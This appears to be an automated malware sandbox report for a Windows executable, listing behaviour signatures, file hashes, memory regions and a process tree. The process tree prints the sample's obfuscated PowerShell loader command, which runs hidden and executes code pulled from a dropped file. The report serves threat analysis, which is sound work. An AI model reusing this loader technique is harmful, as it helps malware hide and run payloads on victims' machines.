Analysis

  • max time kernel
    116s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/09/2024, 16:22

General

  • Target
    SN890156.exe
  • Size 583KB
  • Sample240911-tt757s1bpc
  • SHA256 74d52b94dbe44e83459e097ea1a1d22631a78bffa24ccf8ecc5492e9af9091a2
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SN890156.exe
    "C:\Users\Admin\AppData\Local\Temp\SN890156.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3648
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\Admin\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Brugervenlige205.gar';$Pegboard=$Matchsafe.SubString(53540,3);.$Pegboard($Matchsafe)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:424
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 424 -s 2552
        3⤵
        • Program crash
        PID:2196
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 424 -ip 424
    1⤵
      PID:2548

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          __PSScriptPolicyTest_qfig5gjg.qbv.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qfig5gjg.qbv.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          Brugervenlige205.gar

          • Path C:\Users\Admin\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Brugervenlige205.gar
          • Size 52KB
          • SHA256 2086acce7331acf6af6bb675cae9114eeba8e0ef0653997ba1e402965b222511
          • MD5 SHA1 SHA512 SSDEEP

          memory/424-9-0x00000000743B0000-0x0000000074B60000-memory.dmp

          memory/424-24-0x0000000005D50000-0x0000000005D9C000-memory.dmp

          memory/424-5-0x00000000743BE000-0x00000000743BF000-memory.dmp

          memory/424-10-0x0000000004D80000-0x0000000004DA2000-memory.dmp

          memory/424-11-0x0000000005550000-0x00000000055B6000-memory.dmp

          memory/424-12-0x00000000055C0000-0x0000000005626000-memory.dmp

          memory/424-7-0x00000000743B0000-0x0000000074B60000-memory.dmp

          memory/424-22-0x0000000005630000-0x0000000005984000-memory.dmp

          memory/424-23-0x0000000005CC0000-0x0000000005CDE000-memory.dmp

          memory/424-8-0x0000000004E30000-0x0000000005458000-memory.dmp

          memory/424-26-0x00000000061C0000-0x00000000061DA000-memory.dmp

          memory/424-27-0x0000000006210000-0x0000000006232000-memory.dmp

          memory/424-25-0x0000000006CA0000-0x0000000006D36000-memory.dmp

          memory/424-28-0x00000000072F0000-0x0000000007894000-memory.dmp

          memory/424-6-0x0000000004680000-0x00000000046B6000-memory.dmp

          memory/424-30-0x0000000007F20000-0x000000000859A000-memory.dmp

          memory/424-32-0x00000000743B0000-0x0000000074B60000-memory.dmp